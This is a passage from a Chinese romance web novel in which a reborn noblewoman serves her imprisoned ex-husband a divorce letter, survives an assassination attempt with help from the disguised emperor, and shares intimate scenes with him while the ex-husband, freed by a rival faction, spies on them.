再回上京,他的妻因为丧父丧母,整日病恹恹的,郁郁寡欢,他见她的次数更少了。 可现在,他居然见到了二十岁风华正茂的赵清仪。 端庄,明艳,如珠如月,皎皎生姿。 李彻情不自禁地站起身,向牢门走近,看着近在眼前的女人,眼底的情绪汹涌。 有久别重逢的惊艳,亦有难以言说的恨,上一世,就是因为她,自己才会落到生不如死的下场,他恨她在所难免。 可是…… 李彻的呼吸渐渐放缓,一瞬不瞬地盯着赵清仪的脸,她还擦了胭脂,衬得她肤色莹白,气血丰盈,更美了。 难怪上一世皇帝倾心于她,二十年都不曾放下。 想想重生了,赵清仪还是他的妻,是皇帝得不到的女人,李彻心底隐隐畅快。 帝王又如何,还不是得不到! 李彻眼底的笑意逐渐疯狂,死死凝视着赵清仪,“……你终于来看我了。” 赵清仪的神色一如既往,高高在上,只是听到他愉悦的声音时,眉心轻蹙。 “你来看我,是后悔了?后悔与我和离?”李彻紧紧抓着牢栅,将脸贴了上去。 “其实只要你低头,求我一回,我们就能重新开始,我发誓,往后我只待你一人好,全心全意,我们回去好好过日子。” 他忽然凑近,赵清仪当即后退,一脸嫌恶。 谁要和他过日子,还求他?简直可笑。 废话都懒得说了,直接从袖子里取出一张叠好的纸扔到对方脸上,“不必了,我多看你一眼都嫌晦气。” 李彻赶紧用手扒开头发,脏污的手在脸上来回擦拭,试图把脸擦得干净些,他还是有自信的,他是探花,有才更有貌,不差的。 “清仪,我知道错了,我也知道你生气,可那是我年少不懂事犯的错,如今我悔了,真的悔了!” 这一世的赵清仪变了太多,她的父亲还活着,是当朝阁老之一,她又封了县主,她如今的价值,远胜前世许多,李彻傻了才会弃她不要。 他坚信,只要赵清仪重新回到他身边,他就能东山再起。 跟在后头的俏月忍不住翻了个大大的白眼,“你还是把那张纸捡起来,好好看看吧。” 哦对,清仪给了他东西。 李彻回神,弯腰去捡,快速展开那张纸,结果就被那硕大的“休书”二字狠狠刺痛了双眼。 看着他骤然苍白的脸,赵清仪下颌微扬,“太皇太后已有懿旨,名义上,你我不曾做过夫妻,不曾有过婚约,不过怕你不死心,我还是写了一封休书于你。”她用施舍的语气说完这段话。 熟悉的画面在李彻脑海中闪现,过去,他也是这样,往她脸上甩下一纸休书,用同样的施舍的语气告诉她,“你占着正妻之位多年,是时候退位让贤了。” 李彻刚平复的情绪立时炸开,他将休书揉成一团,扔到墙角里,“从古至今,只有夫休妻,从未有妻休夫的先例!什么解除婚约,什么休书,我不认!” “我是县主,而你只是一个阶下囚,即便没有懿旨,我也能休了你!” 赵清仪侧过身,慢条斯理地抚鬓边的凤钗流苏,朱唇含笑,“李彻,被休的滋味,不好受吧?” 李彻如遭雷击,浑身止不住的颤抖,他瞪大了眼睛盯着牢栅外的女人,顿时明白过来。 “你……你是回来报复我的!” 赵清仪……赵清仪也和自己一样,重生了么? 想到这一点,所有困扰他的谜团似乎都找到了答案,若非重生,赵清仪怎会性情大变? 无数念头一晃而过,李彻当即跪下,双手伸到牢栅外,用力攥着赵清仪浮掠光影般的绚丽裙摆,“清仪,我知错了,求求你,再给我一个机会好不好?给我一个赎罪的机会,我们重新来过,我再不会做对不起你的事……” “我、我要是对不起你,就让我天打雷劈,五马分尸,不得好死!” 他的废话一箩筐,赵清仪听得很不耐烦,什么口头的保证她都不信,况且,李彻也没有值得她信任的资本。 现在的李彻的一无所有,比一开始的他还要落魄,她又不是救苦救难的菩萨。 “上回在茶楼,你似乎也这么发誓过。”赵清仪好心提醒他,“可后来,你也没有被天打雷劈,可见发毒誓并不管用。” 李彻一噎,被呛得说不出话,干涸的唇翕动着,“我……我这次是真的……” 他醒来后有认真想过,倘若上一世自己没有与赵漫仪苟且,而是一心一意,好好同赵清仪过日子,结局会不会不一样。 毕竟有赵清仪在,他还是首辅,他的儿子依旧能在她的教导下功成名就,他没有半点损失,实在没必要为另一个女人去冒险。 “清仪,求求你,再给我一次机会吧。”他摇尾乞怜的模样,活像一只丧家犬。 “迟了。”赵清仪眸含讥诮,冷笑着打断他,“我有外室了。” “……!” 李彻周身一凛。 难以相信这种话居然会从赵清仪嘴里说出来,“不可能……你是为了气我,羞.辱我,才如此说的对不对?” “你当初不过是区区七品县令,娶了我都能养外室,而我有权有钱,哪一点都不比你差,我也养个外室讨我欢心,很奇怪吗?” 赵清仪俯身,上下打量他的目光充满戏谑挑衅,轻声说,“我的外室,比你貌美,比你身强,还会温柔小意,我很满意,也很喜欢他。” “你……你不知廉耻!”李彻实在找不到什么说辞来表达他此刻的心情,赵清仪变了太多,变得他完全不认识了。 “是不是李衡?你告诉我,是不是他!” 李彻抓着牢栅,又一次目眦欲裂,“你们早就勾搭在一起了是不是!” 亏他当初无数次相信赵清仪的鬼话,相信她和李衡是清白的,如今看来,他才是最可笑的那个人! 赵清仪觉得没有解释的必要了,如果李彻觉得那个人是李衡,会让他更生气,那就是好了,横竖李彻是将死之人,他下去问阎王要答案吧。 但下一刻,李彻自己又回过味来,“不、不是李衡……不是他!他没有那个胆子!” 李彻将可能出现在赵清仪身边的男人一一过了遍,最后只模模糊糊抓到一点什么,“是……是平西郡王……” 如果不是他,为何那日大理寺公堂之上,他对赵清仪的事如此尽心尽力,就是他了! 只是李彻又觉得奇怪,平西郡王……他记得前世他远远瞧过一眼,似乎不长那个样子。 应该是个胡子拉碴,不太讲究的大男人,一看就是征战沙场的粗人,没有大理寺公堂上的见到的那般矜贵体面。 李彻绞尽脑汁地回想,回想那张脸,还是熟悉的,在哪里见过…… 可只要深想,他就觉得头很疼,索性不想了。 “平西郡王,我记住了,我记住了……”李彻兀自跪在地上,抱着头喃喃自语,他一定要找出个人! 赵清仪不置可否,慢慢直起腰,在俏月的搀扶下转动裙摆。 李彻急声喊住她,“你们得意不了太久的!” 赵清仪脚步顿住,斜了他一眼。 李彻抱着头的手缓缓松开,露出狰狞的笑,“你不知道……你还有很多事不知道……只有我知道……哈哈哈……” 他的样子疯疯癫癫的,前言不搭后语。 “你怎么能找外室?你怎么能找别人?” 李彻想到了前世那个同样疯狂的男人,得意大笑,“你的外室若被他发现了,很快就会和我一样,和曾经的我一样,受尽折磨而死!哈哈哈……” 他太激动了,只要想到两辈子,皇帝都没有得到过这个女人,只要想到现在与赵清仪苟且的奸.夫,很快会被皇帝处置,他就抑制不住的雀跃! 他什么都不用做,就能看到他痛恨的两个男人互相厮杀,两败俱伤! 俏月觉得李彻是真的有病,莫名其妙的,赶紧抓住县主的胳膊,“县主,咱们快走,他已经疯了。” 赵清仪却敏锐地捕捉到李彻话里的那个“他”。 被他发现?是谁? 李彻也看到了她眼中一闪而过的疑惑,笑得眼泪都出来了。 赵清仪不知道?她居然对皇帝的心思一无所知! 李彻说不上来,究竟是自己失败,还是万人之上的皇帝陛下更失败,陛下什么都有了,偏偏得不到他李彻的妻子。 赵清仪喜欢上了平西郡王,都不喜欢陛下! “呵呵呵……哈哈哈哈哈哈……”李彻又控制不住,捶地疯狂大笑。 赵清仪当他疯了,匆匆离去。 就在她离开大牢不久,宸华县主曾去地牢看过李彻的消息传到了王次辅那里。 今日休沐,王次辅正在书房里接见门生,自从上回见过李彻,王次辅深思许久,依旧没有头绪,便想等等看,看有谁会去见李彻,没想到居然是赵清仪。 赵清仪是赵怀义的亲女儿,李彻所知之事,会不会也告诉了她?若是如此,赵清仪可就留不得了。 王次辅盘着核桃的手紧了紧,眼底掠过一丝杀意。 底下的忠勇伯揣测着他的心思,比了个抹脖子的动作,“大人是想……” 王次辅挑眉,“你想领这份差事?” 正好,忠勇伯对赵清仪恨得牙痒痒的,当初要不是赵清仪算计,他们伯府才不会娶李素素那个没用的东西过门,帮不上一点忙,还尽给伯府添晦气。 倒是个不错的人选。 “去,打听下县主的行踪。” 与此同时,赵清仪正在自家的成衣铺里拿账,掌柜刚把整理好的账册捧过去,外头就传来女子趾高气昂的吵嚷。 “这都什么货色?就这样还敢称是上京头一号的成衣铺?” 那声音听着耳熟,赵清仪挑帘出去,果然见到了通身气派的王盈雪。 王盈雪也看到了她,冷笑一声,“原来这家铺子的东家是县主啊,难怪,店里都是上不得台面的东西。” 做生意,赵清仪就没少遇见过找茬的客人,也不闹,笑着迎上前,“都怪店里人有眼不识泰山,竟没认出是王家小姐,小姐是一心要进宫当娘娘的人,身份非比寻常,肯定不缺银子,这些货色哪里配得上王小姐?” 王盈雪没想到赵清仪不仅没和她作对,还上来就夸自己,一时摸不准她的想法,但还是骄傲地仰起头。 赵清仪忍着笑,让掌柜去取镇店之宝,很快掌柜就从阁楼上搬来一只红木匣子,甫一打开,便照得满室流光。 王盈雪的目光立时就被吸引过去,紧紧盯着掌柜手里捧着的料子。 “王小姐请看,这就是我们的镇店之宝,比我身上的霞影纱更为珍稀可贵的浮光锦,因其过于珍贵,故而尚未成衣,就待王小姐这般身份贵重,又有钱有势的人来买走她,王小姐若是喜欢,我即可派人为小姐丈量尺寸,为您制衣,如何?” 王盈雪还从未见过如此华美的料子,忍不住想问价钱。 赵清仪抢在她前头开口,“一匹浮光锦,价值五百金,店中仅剩两匹,王小姐的喜欢的话,给您打个折,九百金。” 听到的价钱的刹那,王盈雪的心肝都颤了一下,这么贵…… 可对上赵清仪笑吟吟的视线,她又不甘心被比下去,忍痛咬牙,“两匹我都要了!” 两月后她要进宫拜见太皇太后,届时太皇太后还会撮合她与陛下,她必须拿出最好的状态,所以再贵,她也要拿下。 掌柜笑得合不拢嘴,赶紧让绣娘过去给王盈雪量身,信誓旦旦的保证半月完工,就让王盈雪先下五百金的定钱。 王盈雪出门从不带这么多钱,只能让人跟她回府去取,她走之后,掌柜冲赵清仪竖起大拇指,“还得东家亲自出马,几句话的事,就将三百金的浮光锦,卖出五百金的价钱。” 赵清仪的铺子不难分辨,王盈雪特意来找茬,她不宰一顿岂不是太便宜对方。 “好好干,天色不早了,我先回去。”平白多赚一笔钱,赵清仪心情甚好,让俏月抱了账本回赵宅。 刚走出不远,赵清仪便察觉有人盯着自己,可每次回头,四周只有零散几个赶路回家的货郎,并无异常。 该不会是她讹了王盈雪,对方反应过来后,要来找她算账? 赵清仪不由加快了脚步,暗暗打定主意,以后出门还是带些护卫为好。 赵宅在内城最外围,走回去需要小半柱香,且越往外走,路上的行人越少,经过的街道小巷也越来越空。 天色渐渐暗了下来,最后一丝余晖西沉,四周黑暗又寂静。 不安的预感愈发强烈,赵清仪在拐进府学胡同的瞬间加快脚步,与俏月两人几乎是跑着回去的。 然而她刚拔腿跑了几步,便有数支暗箭从背后袭来,破风声凛冽作响。 俏月被群被绊倒尖叫一声,怀里的账册哗啦啦掉了一地。 赵清仪伸手去拽俏月,却抓了个空,俏月看到身后出现的黑衣人,一把甩开她,“别管奴婢了,县主快跑!” 话音刚落,冷箭悄然而至。 赵清仪瞳孔倏地放大,脚下踉跄朝后跌去,一截有力的臂膀及时揽过她的腰肢,带着她朝旁躲开,另一只手广袖翻飞,将袭来的暗箭一一甩落。 俏月惊喜不已,是郡王! 赵清仪惊魂未定,就被男人抱着闪到角落里。 楚元河将她放下,“在这等着,别乱动。” 飞快撂下一句话,转身没入夜色,与跟来的黑衣人缠斗。 暗卫们见此情形,面面相觑,平常这些人,陛下都会叫他们去杀,今日怎么迟迟不下令? 那他们还要下去帮忙吗? 对方就是几个武功平平的江湖刺客,应该很好解决,暗卫们蠢蠢欲动。 为首一人拦住兄弟们,指了指楚元河,示意兄弟们仔细看,那就是几个不入流的刺客,陛下愣是招架了盏茶功夫都没拿下,这不像陛下的水平。 有心者多看两眼,发现陛下每一次出招,都是从姿态最美的角度出发,而非考虑实用性,暗卫们顿时了然,又默契地看向县主。 主仆俩躲在角落里,紧张兮兮地关注着面前的混战。 赵清仪从一开始的紧张不安,渐渐到双目发亮,显然是在楚元河的一招一式间沦陷了。 暗卫彼此对视一眼,撤吧,他们的存在碍事了。 暗卫离开不久,楚元河才将最后一个刺客踩在脚下,从头至尾,他手里就一柄玉骨折扇,端是的风流俊逸,不费吹灰之力。 赵清仪按捺不住面上的欣喜,小跑着扑进对方怀里。 楚元河如愿以偿收获了心爱之人的崇拜,正准备安抚赵清仪几句,先前被他踩住又踢飞的唯一活口,忽然甩出一枚袖箭。 楚元河俊脸陡沉,侧身将赵清仪挡在身后的同时,折扇甩了出去,原本是想击落那枚袖箭,又临时改了主意,将折扇砸在刺客头上。 被砸中的瞬间,刺客整个身体倒飞出去,重重落地,彻底断了最后一口气,与此同时,那枚袖箭擦着楚元河的胳膊划过,没入漆黑的夜色里。 “你受伤了?” 楚元河冷峻的面容顷刻软化,捂着胳膊渗血的伤口,虚弱无力地倒进赵清仪怀里。 “般般,我疼……” 第65章 第65章“要像我方才那样,往死…… 楚元河大半身躯压在赵清仪肩上,赵清仪勉力搀着,准备把他扶到他自己的宅子里,左右就百步路的距离。 经过赵宅时,楚元河却停下了,附在她耳畔气若游丝,“我没带钥匙……” 他现在受伤了,也施展不出轻功,翻不了墙。 “你能不能……收留我一夜?” “你为救我受的伤,还说这些客气话。”别说一晚了,她可以养到他伤势痊愈。 赵清仪把人安置在揽月阁的抱厦里,“我去拿金疮药,你忍一忍。” 将他小心翼翼放倒在软榻上,在他身后放了一只金丝软枕,赵清仪才匆匆离去,俏月也赶紧去打水,一会儿好为郡王清理伤口。 主仆俩前脚刚走,暗卫们后脚从梁上跳下来,楚元河一改先前的虚弱,坐直身子,“去查,是谁放的冷箭。” 暗卫抱拳应是,接二连三跳出阁楼,无影无踪。 楚元河脸色阴沉,独自凝神片刻,听到了赵清仪的脚步声,当机立断躺了回去。 赵清仪一路小跑着回来,一手提着药箱,一手握着紫檀木灯台,她将灯台搁在桌子上,暖融的光迅速蔓延,在这方寸天地间流淌。 方才扶人回来,衣衫难免褶皱,玄色外袍松垮得不成样子,歪歪斜斜,敞着半边肌肉虬结的肩,此刻楚元河半倚着,呼吸沉沉。 赵清仪思忖过后,抄起一柄银剪子,准备剪下他的衣袖即可。 楚元河握住她的手,微抬起脸,烛火在他过分肆意的眉眼间镀上一层柔润的金辉,“把我衣裳剪了,我穿什么?” 看着赵清仪逐渐泛上红晕的粉颊,他沉声笑,“我是不介意光着晃来晃去……” “好了!别说了。” 该庆幸俏月识趣,打了水就放下,没往这儿来,不然听了这话估计能羞死。 赵清仪放下剪子,让他自己脱。 “我受了伤,没力气……”楚元河艰难抬起受伤的那只胳膊。 尽管是一身玄色不甚明显,可伤口处的还是泅开一团刺目的暗红。 赵清仪赶紧让他躺好,“那你别嫌我笨手笨脚。”伺候人的事她还真没怎么干过,她红着脸,双手顺着男人两侧的腰滑下。 楚元河呼吸微滞,垂眸看着她的脑袋朝自己胸口而来,随之而来的是熟悉的体香,淡淡的,似有若无缭绕鼻端。 嘴角不自觉向上弯起一个极小的弧度,他俯身亲了亲她的耳朵,便察觉到环过他后腰的小手颤了颤。 赵清仪瞪他,“老实一点。” 解开他的外袍,又到中衣,最后剩里衣时,泛着蜜色光泽的紧实胸膛袒露大半,赵清仪捏着他的衣襟,柔软的丝绸顺着男人微微隆起的肩头滑落。 仿佛是一块精心雕琢的美玉现于人前,线条分明,沟壑起伏。 衣料褪至臂弯时,被血浸染的部分与皮肉相连,赵清仪极力稳住手,屏气凝神,一点点将它们分开。 压抑的闷哼猝不及防从男人喉间溢出,低沉而短促,带着不易察觉的震颤。 赵清仪原本挺稳的手又开始抖了,那一瞬间,滚烫的触感猛然锢住她的手腕,男人的掌心热意惊人,直烫进她的骨头缝里。 “疼……”楚元河缓缓吐出一个字,声音哑的厉害,尾音还带着一丝不易察觉,又近乎刻意的勾缠。 赵清仪呼吸一紧,抬眸撞进那双情愫翻涌的桃花眼里,那双眼睛先前还晕着慵懒的笑,此刻却好似覆上一层溟濛的雾气,疼痛,忍耐,说不清道不明。 赵清仪深吸口气,压下心头的悸动,嗓音是自己都不曾察觉的温柔,“我轻一点……” 那只攥住她细腕的大手这才慢慢松开,赵清仪移开视线,继续为他剥离粘着伤口的衣料,分离的刹那,她低头在伤口处轻轻吹气。 那口气似乎顺着伤口钻到了血肉深处,又麻又痒,楚元河的胳膊险些按捺不住,要把她按倒在榻上。 等他再缓过神时,伤处已经上好了药,赵清仪正在包扎,包完了,准备把他的衣服一件一件穿回去。 楚元河倒在一旁,又开始哼哼喊疼。 赵清仪起初信以为真,耐心问他哪里疼,被他捉着手四处摸了一遍。 那日颠倒好似一场大梦,具体的她记不太清了,脑海里只剩支离破碎的画面,但他带给她的触感却记忆犹新,她抚摸过他的每一寸。 楚元河这做作的姿态,赵清仪还有什么不懂,红着脸嗔他,“……受伤了还不消停?” “只是胳膊受伤,别处又没伤着。”楚元河很无辜,说罢嬉皮笑脸地坐起来,凑上去压低声,“不信你看看。” “谁要看……” “你有有段时日没见过它了。”楚元河没脸没皮地抱住她的胳膊,求.欢之意再明显不过。 赵清仪的心坚若磐石,“不行。”拒绝了他。 楚元河只好退而求其次,“那我亲你一下都不行吗?” “不行。” 她还不知道他吗?每回都收不住。 赵清仪按住他的肩把他压回榻上,贴心地给他盖上被褥,“躺着歇息吧,等伤养好了再说。” 楚元河好不容易露出的肌肉被她藏的严严实实,他眸光幽幽地盯着她,没能从她脸上看出一丝一毫的旖旎,很是清心寡欲。 他心头咯噔一跳,该不会是得到了,就对他失去了兴趣? 楚元河抱着被褥,一声不吭地转到里侧,只给对方留下一个黑鸦鸦的后脑勺。 赵清仪也没发现他生气,“我想起来还有点事,得回家一趟。” 楚元河没吭声。 赵清仪等了一会儿,没有回应,便想着算了,刚起身,被褥里传出一声闷闷的哼,再转头,就见他翻身,故意折腾出很大动静。 再看不出他耍小性子,赵清仪就是傻子。 无奈她只好坐回去,“就亲一下,我还要回……唔……” 一阵天旋地转,被褥里的男人拱了出来,将她拽到自己身下,楚元河在她唇上囫囵亲了几下,便马不停蹄转移阵地。 赵清仪气喘吁吁,推着她的脑袋提醒,“你别弄得我见不得人……” 说好只亲一下,言而无信,就没有下次了。 “我又没说只亲嘴。”楚元河说不上来的委屈,他都受伤了,她就不能对他好点么。 他伏在她心口,柔软的触感馨香袭来,只是亲一下,不做什么。 一刻钟后,赵清仪被亲得七荤八素,面红耳赤地从榻上起来时,整理衣襟的手指都在抖。 “我先回去了,你有事就吩咐门房的小厮……” 赵清仪站起身,腿.根发软,走路都像飘着。 还是太放肆了,太纵着他了! 出了门,赵清仪在街上吹了好一会儿的冷风,等吹散面上的潮.红,才敢往赵家的方向走去。 便在她走后不久,一个浑身是伤的男人,踉踉跄跄进了府学胡同,一路往他熟悉的地方摸去,到了门口,他拉动门环重重敲响。 门房小厮跑去照顾平西郡王,不在,没人回应他。 李彻不甘心,又连敲了好几下,这是他家,不回这里,还能去哪儿? 王次辅用一个身形与他相近的死囚代替了他,将他从牢中换出,如今他身上的伤还没找郎中看过,也没吃东西,又累又饿。 敲了几下门没人回应,他摇摇晃晃地立在门下,一阵夜风吹过,都能将他带倒,顺着台阶滚了下去。 李彻痛得叫出了声,躺在地上缓了半晌,复又睁开眼帘,头顶悬挂的匾额不再是他熟悉的“李宅”二字。 赵……赵宅? 他不在,连宅子都改名换姓了,想必母亲妹妹也都不在这里了。 李彻躺在地上,仰天笑出了声,不过他是不会轻易认输的,他还要东山再起,还要报仇雪恨。 李彻咬紧牙关从地上爬起来,绕着宅子走了半圈,原以为人去楼空,他来缅怀一二,却不料绕到揽月阁那一侧时,竟发现抱厦里亮着烛火。 有人! 一定是赵清仪,赵清仪还在! 李彻瞬间燃起了希望,加快脚步往前,想看得再清楚些,竟看到一个高大的背影一晃而过。 李彻的心顿时凉了半截,男人……居然真的有男人! 还出现在揽月阁里?! 当初赵清仪甚至都不让他进去,可现在,那上面居然住了个陌生男人! 楚元河惹.火上身,一时半刻地睡不着,就在抱厦的护栏处躺会儿吹吹风,手里还拿着一本小册子,看得津津有味。 是亲热时,他悄悄从赵清仪身上摸出来的,他还奇怪是何物,如今看过总算明白了,避火图嘛。 画的还挺有意思,惟妙惟肖的,能学不少东西。 楚元河吹着风,好不容易消解完那股火气,准备回屋就寝,便敏锐捕捉到一丝杀气。 纵横疆场多年,他对杀气最为敏感,他分辨得出,这道目光的主人对他起了杀心。 真有意思。 楚元河缓缓转过身,在李彻的视线里,他只能看到一截翻飞的衣袍,看不清男人的脸,看辨身形,是个高大且孔武有力的男人。 平西郡王,一定是他! 李彻笃定,垂在身侧的拳头捏得咯吱作响。 暗卫早早就发现了,只是暗卫在楼下,院墙正好挡住,李彻看不见他,只看到了上头的楚元河。 “陛下,可要属下将那鬼祟之人抓来?” 楚元河冷笑,“盯着就行,一旦危机赵家,立刻出手。” 居然是李彻,越来越有意思了,王家好手段啊,在他眼皮子底下瞒天过海。 只是王仰止究竟看重李彻什么?竟不惜代价也要把李彻救出来。 — 赵清仪今夜归家得晚,又没提前派人给孟氏递个口信,孟氏担忧得睡不着,一直在家门口等着,远远见到女儿回来,松了口气。 “娘已经听说了李彻的事,知道你去牢里了,怎么弄得这么晚?”孟氏握住女儿的手,夜里还有些凉,给她捂捂。 赵清仪也是想到没提前知会母亲,猜到母亲会担心,这才丢下楚元河自己回来了,“路上遇到点事,耽搁了。”又把遇到刺客的事简单说了一遍。 局势不同以往,外人针对她的一举一动,或许都与赵家息息相关,隐瞒并非明智之举。 孟氏猜测是女儿最近掺和了太多朝堂之事,遭人忌惮了,想到女儿刚才提到的平西郡王,“般般,娘说认真的,不如你考虑嫁了郡王如何?” 嫁去做个郡王妃,安安稳稳的,又有陛下与长公主的庇护,对方想动她之前,还得顾及上头的人,这么看,平西郡王确实是女儿最好的选择。 事到如今,孟氏对楚元河也没意见了,她同意这门婚事,就怕女儿脸皮薄,“还是娘明日去王府,亲自问问郡王的意思?” “娘,您就别费心了。” 赵清仪不敢让孟氏过问太多,将话题转移到弟弟身上,“娘还是盯着澜俨上进些,若能通过武考大比,今年也能参加乡试,将来再考个武官……” 母女俩说着话,慢慢往东赵府走去,快分别时,孟氏才想起一件事,“瞧我,光顾着问平西郡王还有你弟弟的事,忘了提醒你,你祖母六十大寿快到了,按惯例,每年这时候你祖母都要去相国寺吃斋,小住两月,你祖母想问你的意思。” “祖母习惯了,那照祖母的意思办就是,况且这也花不了多少银子。”中馈已经交到孟氏手里,不必事事过问她。 母女分别,一夜无梦。 翌日,赵清仪是在嘈杂声中醒来的。 “走水了走水了!” 赵清仪猛的睁开眼睛,就见两个婢子慌慌张张跑进来。 “哪儿走水了?”她下意识以为又是二房那边搞出的幺蛾子,赶紧披上外衫,“是*母亲出事了,还是祖母?” 俏月快人快语,“不是不是,是新政学堂。” 赵清仪匆忙外出的脚步停下,刚松口气,心又提了起来。 “好在四月的天潮湿多雨,昨夜刚起火,就下了场雨,火势并无蔓延。”檀月语气沉稳,皱眉道,“不过这火来得蹊跷,奴婢觉得,没那么简单。” 赵清仪便决定亲自过去一趟,看个究竟,走到半路又想起还在宅子里的楚元河,便又从酒楼里买了些早膳带过去,先看过楚元河再说。 纵火之人多半是王党一脉的世家望族,他们开始反击新政,于是冲学堂的士子下手,虽未造成严重后果,可创办新政学堂是她怂恿了楚元河,此时学堂出事,就怕上头怪罪楚元河办事不力。 到了宅子,楚元河正好要出门,索性二人一道同去,路上他竟然还笑得出来,宽慰她不必紧张。 半夜出事后,五城兵马司第一时间赶到,随后案子交由锦衣卫查办,如今锦衣卫镇抚使就是过去的杨千户,现在叫杨镇抚使了。 锦衣卫的人将新政学堂围了起来,几个灰头土脸的士子正接手盘问,杨镇抚使看到赵清仪,停下手里的差事,恭敬抱拳一礼。 “县主,郡王。” 只是,这两个人怎么会在一起? 杨镇抚使忍不住多看两眼,他身边还站着一个熟人,李衡。 李衡一夜未眠,眼底布满了红血色,听到杨镇抚使的问安,立即转过头向后看,面上的欣喜之色一闪而过。 是听说学堂出事,来看他的吗? 李衡的喜色只有一瞬,他便看到和赵清仪并肩而行的楚元河,眼底掠过一抹诧异和微不可察的落寞。 赵清仪的喜欢的人,居然是平西郡王。 杨镇抚使察觉出三人间诡异的气氛,轻咳一声,先向赵清仪说了学堂的情况,火情刚起,发现得早,加上一场及时雨,未有伤亡,只是据盘问的结果来看,昨夜学堂附近出现了一个戴头蓬的黑衣人,清瘦虚弱,是个年轻人。 说话的功夫,方茹急急忙忙跑来,抓着李衡的胳膊一脸关切,“李大人,你还好吗?可有受伤?” “没事。”比起方茹的紧张关心,李衡的语气显得格外冷淡。 赵清仪装看不见,听完锦衣卫描述,若有所思。 混乱的人群里,一双死水般的眼睛沉沉地盯着她,楚元河眸色一凛,对方似所觉,转身就走。 他穿着黑衣,背影清瘦,宽大的斗笠压下,遮住大半张脸。 “不必查了。”楚元河打断了锦衣卫。 回了宅子,赵清仪才追问他为何不让锦衣卫查,楚元河告诉她,那个纵火的黑衣人是李彻,至于为何不让锦衣卫查…… 他不着痕迹瞥了眼阁楼远处,躲在树丛后探头探脑的人,薄唇勾起好看的弧度。 他们在阁楼上,视线开阔,对方这般躲藏与掩耳盗铃无异。 “李彻……” 赵清仪没朝那个方向看去,慵懒闲适地倚着美人靠,手里还端着一盘剥好的石榴,“他不是要流放西北吗?” “他与王家勾结,换了个逃出生天的机会。” 王家?那也说得过去,百年名门望族。 且不说王家立足已久,就凭祖上出过数任皇后,而今还有太皇太后坐镇,就足以碾压其余世家,而这百年来,王家子孙后代几乎渗入了朝堂各个机关要害,想要拔出世家毒瘤,王家无疑是最棘手的那个。 说及此,楚元河有些心虚,是他疏忽了,“你若怕他回来报复你我,我就派暗卫去杀了他。” 反正原本都是要死的人,就是这样死了,有些太便宜他了。 赵清仪的关注点却落在前半句,“报复我便算了,为何要报复你?” 这话楚元河不爱听,直接拿走她手里的石榴,“不给你剥了。” 赵清仪正吃得起兴,“哎”了一声,抢不过。 楚元河将她整个人拽到自己怀里。 “你的伤……” 楚元河倒是不痛不痒,战场上受的伤多了去了,这点小伤于他而言不算什么。 铁杵似的的臂膀将赵清仪圈住,她只能老老实实坐在男人腿上。 “我可是你的外室,是你养在宅子里的男人,他知道了,不会嫉妒?”楚元河低下头,埋在她颈窝处问得认真。 灼热的呼吸落在耳后,酥酥麻麻的,她手抵着男人胸膛,“大白天的,你克制一下……” “我就抱抱。”楚元河很受伤,“你怎么总是误解我?” “是你劣迹斑斑在先。”赵清仪有种被反咬一口,但是无从反击的无力感,只能掐住他腰侧的肉,轻拧一圈。 楚元河倒吸一口凉气,锢着她腰肢的手更紧了,张口咬住她的白嫩小巧的耳垂,灵巧的薄唇迅速侵入她的衣襟。 赵清仪到底还是顾及脸面,轻.喘,“别再这里……” 楚元河吻上了她的唇,长驱直入,她再说不出半句话,只能仰面全心全意地应付他突如其来的热情。 远处的李彻瞧见这一幕,浑身僵直。 他不可置信,甚至忘了继续掩蔽,急不可耐地往前走,想要看得再清楚些。 不可能,他还是不愿相信,他向来最循规蹈矩,温婉守礼的妻会做出这种事?! 宅子里没有其他人,只有阁楼上拥吻的男女,李彻鬼鬼祟祟躲到了假山后,准备探出头。 楚元河还在赵清仪唇上辗转,另一手随意抓了把剥好的石榴弹射而出,阁楼四角收束整齐的红色绸幔缓缓落下,隔绝了大半光影。 赵清仪感觉眼前视线暗了下去,随之而来是男人豁然压下的身影。 楚元河维持着搂抱的姿势,一同倒进躺椅里,大掌用力扣着她的后脑勺,强势而霸道,不容她有丝毫逃避挣扎的余地。 亲吻和喘息的悸动在红绸中蔓延,断断续续,旖.旎缠.绵。 赵清仪第一次感觉到吃力,仅仅是一个吻就让她感到危险,反复蹂.躏的唇红肿不堪。 她忍不住想,是不是她总在拒绝他,让他压抑坏了,这才反扑得来势汹汹。 她只好试着回应,给予他一丝安抚,可她的回应反倒激起男人更深层的欲求。 在楚元河看来,她的安抚是邀请的讯号。 他躬身腾出空间,将她往身下带,吻如疾风骤雨,她的唇舌无处安放,被挑拨得颤乱不堪。 赵清仪微微侧过头,勉强拉开二人间的距离,纠缠的银丝来不及斩断。 楚元河眸色极深,粗粝的指腹狠狠压上她被吻得艳红的唇,“今日换了口脂?” 味道不一样了,更甜了。 “嗯……”赵清仪不敢与他对视,怕看到对方眼底的欲,便会一发不可收拾,“东市玉容阁的口脂,一小盒十金。” 赵清仪对自己从不吝啬,不过这也是她买过最贵的口脂,颜色,香气皆属最上乘,在有楚元河之前,她没买过这么贵的。 楚元河听出她话里的取悦之意,笑音低沉,“那以后买口脂的账,算我账上。” 赵清仪枕在他的臂弯里,脸朝向他的胸膛,凌乱的衣襟下是一截雪白脖颈,泛着轻微的红,之前留下的吻痕已经淡了。 他的指腹轻轻摩挲着脖颈下跳动的血脉,又灵巧地挑开周围的衣料。 他看到了,雪青色的。 指节曲起,勾缠住她脖颈的细带,“这也算我账上。” 赵清仪没反应过来,固定在脖颈处的细带应声断成两截,小衣再无法兜住,雪色倾泄而出,昨夜混乱的画面再次涌现。 楚元河的脑袋又埋了进去。 娇颤几乎是本能,赵清仪推不开他,无力地倒在躺椅里,仰面喘.息,情动的泪水漫出眼眶,泫然欲泣。 散落的红绸轻轻摇曳,遮掩一室春色。 直到她低低地哭出声来,楚元河观察她的神情姿态,慢慢拢好她的衣裳。 同样发颤的沉重呼吸落在耳畔,略带着洋洋得意,“……我是不是比昨日精进了?” 他已经能分辨出她的感受,什么时候是真的不舒服,什么时候又太舒服,他一清二楚。 她的反应比昨夜还要动人,可见避火图他没白看。 赵清仪缓了很久,不想说话,只是脸颊红扑扑的,整齐精致的鬓发也有些歪散。 楚元河抱起她,重新坐回他腿上,手臂从后环抱住她,顺便帮她整理衣裙,就是贴身的小衣挂不住,整理的时候总会不经意泄露两抹晃人眼。 好在,只他有这眼福。 整理完,他抱着她稍稍侧身,拿起桌上的茶水递给她。 也就在这侧身的刹那,微风袭来,红绸摇曳,暧.昧温热的气息飘逸而出。 李彻也终于有机会看清,那个柔若无骨,身段如水,正坐在男人怀里小口喝水的女人。 